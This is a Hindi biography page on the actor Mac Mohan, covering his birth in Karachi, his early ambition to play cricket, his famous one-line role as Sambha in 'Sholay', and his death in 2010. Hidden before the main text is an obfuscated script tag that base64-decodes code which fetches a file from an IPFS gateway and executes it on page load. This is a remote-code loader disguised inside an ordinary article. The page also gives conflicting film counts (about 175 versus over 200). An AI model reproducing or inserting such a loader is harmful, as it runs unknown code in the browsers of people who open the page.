मैक मोहन

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मैक मोहन
मैक मोहन
पूरा नाम मोहन माखीजानी
प्रसिद्ध नाम मैक मोहन
जन्म 24 अप्रॅल, 1938
जन्म भूमि कराची (अब पाकिस्तान)
मृत्यु 10 मई, 2010
मृत्यु स्थान मुंबई, महाराष्ट्र
पति/पत्नी मिन्नी माखीजानी
कर्म भूमि भारत
कर्म-क्षेत्र भारतीय सिनेमा
मुख्य फ़िल्में 'शोले', 'डॉन', 'कर्ज', 'सत्ते पे सत्ता', 'जंजीर', 'रफूचक्कर', 'शान', 'खून पसीना' आदि।
प्रसिद्धि अभिनेता
नागरिकता भारतीय
अन्य जानकारी साल 1964 में मैक मोहन ने फिल्म 'हकीकत' से बॉलीवुड में डेब्यू किया था। 46 साल के करियर में इन्होंने करीब 175 फिल्मों में काम किया लेकिन इनका जो किरदार सबसे मशहूर हुआ वो फिल्म 'शोले' का 'सांभा' था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>मैक मोहन (अंग्रेज़ी: Mac Mohan, जन्म- 24 अप्रॅल, 1938; मृत्यु- 10 मई, 2010) हिन्दी सिनेमा के प्रसिद्ध अभिनेता थे। वह मुख्य रूप से खलनायक के किरदार निभाने के लिये जाने जाते थे। मैक मोहन प्रसिद्ध भारतीय अभिनेत्री रवीना टंडन के मामा थे। मैक मोहन का असली नाम 'मोहन माखीजानी' था। वह बचपन में अभिनेता नहीं बल्कि क्रिकेटर बनना चाहते थे। उन्होंने उत्तर प्रदेश की क्रिकेट टीम के लिए कई मैच भी खेले थे। फ़िल्म 'शोले' में निभाये गए 'सांबा' के किरदार ने मैक मोहन को घर-घर में पहचान दिला दी थी।

परिचय

मैक मोहन का जन्म 24 अप्रैल, 1938 को कराची (अब पाकिस्तान) में हुआ था। उनके पिता भारत में ब्रिटिश आर्मी में कर्नल थे। साल 1940 में मैक मोहन के पिता का ट्रांसफर कराची से लखनऊ हो गया। मैक की शुरुआती पढ़ाई लखनऊ से हुई थी। पढ़ाई के दौरान इनकी दोस्ती जाने माने एक्टर सुनील दत्त से हो गई। कॉलेज से ही इन्होंने थिएटर जाना शुरू कर दिया था।[1]

फ़िल्मों में कार्य

थिएटर के अलावा मैक मोहन ने पुणे के फिल्म एंड टैलिविजन इंस्टिट्यूट में एक्टिंग भी सीखी। अपने 46 साल के करियर में मैक ने 200 से ज्यादा फिल्मों में काम किया है। हिंदी फिल्मों के अलावा इन्होंने भोजपुरी, गुजराती, हरियाणवी, मराठी, रशियन और स्पैनिश फिल्मों में भी काम किया। कई फिल्मों में इनका असली नाम मैक ही इस्तेमाल किया गया था।

क्रिकेटर से एक्टर

मैक मोहन को बचपन से ही क्रिकेट खेलने का शौक था। वह क्रिकेटर बनना भी चाहते थे। उन दिनों क्रिकेट की अच्छी ट्रेनिंग सिर्फ मुंबई में दी जाती थी। इसलिए साल 1952 में मैक क्रिकेट खेलने के लिए मुंबई आ गए थे। मुंबई आने के बाद जब इन्होंने थिएटर देखा तो एक्टिंग में इनकी रुचि पैदा हुई। मशहूर गीतकार कैफ़ी आज़मी की पत्नी शौकत कैफी को एक नाटक के लिए दुबले-पतले शख्स की जरूरत थी। मैक मोहन के किसी दोस्त ने इन्हें इसके बारे में बताया। इन्हें पैसों की जरूरत थी, लिहाजा सिर्फ थोड़े-बहुत पैसे कमाने के लिए इन्होंने शौकत कैफी से नाटक में काम मांगने के लिए मुलाकात की। शौकत कैफी को मैक का काम काफी पसंद भी आया और यहीं से मैक मोहन का एक्टिंग करियर शुरू हो गया।

बॉलीवुड डेब्यू

साल 1964 में मैक मोहन ने फिल्म 'हकीकत' से बॉलीवुड में डेब्यू किया था। 46 साल के करियर में इन्होंने करीब 175 फिल्मों में काम किया लेकिन इनका जो किरदार सबसे मशहूर हुआ वो फिल्म 'शोले' का 'सांभा' था।[1] जब सब फिल्म 'शोले' का फाइनल ट्रायल देख रहे थे तो मैक मोहन अचानक छोटे बच्चों की तरह रोने लगे, क्योंकि इनका रोल बहुत छोटा सा रह गया था। रमेश सिप्पी ने मैक से पूछा कि तुम क्यों रो रहे हो ? मैक ने कहा कि मेरा रोल तो बहुत छोटा सा रह गया, आप इसे भी काट दीजिए। तब उन्होंने मैक से कहा था कि अगर ये फिल्म हिट हो गई तो तुम्हें एक नई पहचान मिल जाएगी।

यूं तो मैक मोहन डॉन, कर्ज, सत्ते पे सत्ता, जंजीर, रफूचक्कर, शान, खून पसीना जैसी कई फिल्मों में भी शानदार काम करते हुए नजर आए लेकिन जो शोहरत उन्हें 'शोले' से मिली, उसी ने उन्हें अमर कर दिया। फिल्म 'शोले' में सांभा यानी मैक मोहन ने सिर्फ एक ही संवाद बोला है और वह है 'पूरे पचास हजार।' लेकिन हैरान कर देने वाली बात यह है कि इस छोटे से डायलॉग की शूटिंग करने के लिए मैक को मुंबई से बेंगलुरु 27 बार जाना पड़ा था।

दरअसल, इस फिल्म के शुरुआत में उनका किरदार थोड़ा लंबा था, एडिटिंग होने के बाद सिर्फ तीन शब्द ही बचे। मैक ने फिल्म ‘शोले’ को एडिट होने के बाद जब देखा तो वे बहुत निराशा हुए थे। एक इंटरव्यू के दौरान मैक मोहन ने बताया, 'जब मैंने शोले फिल्म देखी तो मैं रोने लगा। फिल्म खत्म होते ही मैं सीधे निर्देशक रमेश सिप्पी के पास गया और उनसे बोला कि मेरा इतना थोड़ा सा रोल भी क्यों रखा? आप चाहते तो इसे भी हटा ही देते। इसपर उन्होंने कहा कि अगर यह फिल्म हिट हुई तो दुनिया मुझे सांभा के नाम से जानेगी और हुआ भी ऐसा ही।'[2]

पापा विलेन का काम छोड़ दो

जब भी मैक मोहन को सिने स्क्रीन पर पीटा जाता तो उनकी बड़ी बेटी को बिल्कुल भी अच्छा नहीं लगता था। वह मैक मोहन को काम करने से मना भी करती थी। जब भी वो स्कूल जाती थी तो सब उसे कहते थे कि तुम्हारा बाप तो चोर है, डाकू है। तो मैक उससे कहते कि बेटा ऐसा नहीं है। ये तो हमारा काम है। मैक की छोटी वाली बेटी तो मैक को पिटता देख रोने ही लगती थी।

मृत्यु

जब मैक मोहन फिल्म 'अतिथि तुम कब जाओगे' की शूटिंग कर रहे थे तो इनकी तबियत खराब हुई। उन्हें मुंबई के कोकिलाबेन धीरूभाई अंबानी अस्पताल में दाखिल किया गया। जहां डॉक्टरों ने बताया कि इनके फेफड़े में ट्यूमर है। इसके बाद इनका लंबा इलाज चला लेकिन इनकी तबीयत लगातार बिगड़ती चली गई। एक साल बाद ही 10 मई, 2010 को मैक मोहन ने दुनिया को अलविदा कह दिया।[1]


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 वो विलेन जो सिर्फ 3 शब्दों के डायलॉग से हो गया अमर (हिंदी) bhaskar.com। अभिगमन तिथि: 25 अप्रॅल, 2022।
  2. इस एक लाइन को शूट करने 27 बार मुंबई से बेंगलुरु गए थे 'शोले' के 'सांभा' (हिंदी) amarujala.com। अभिगमन तिथि: 25 अप्रॅल, 2022।

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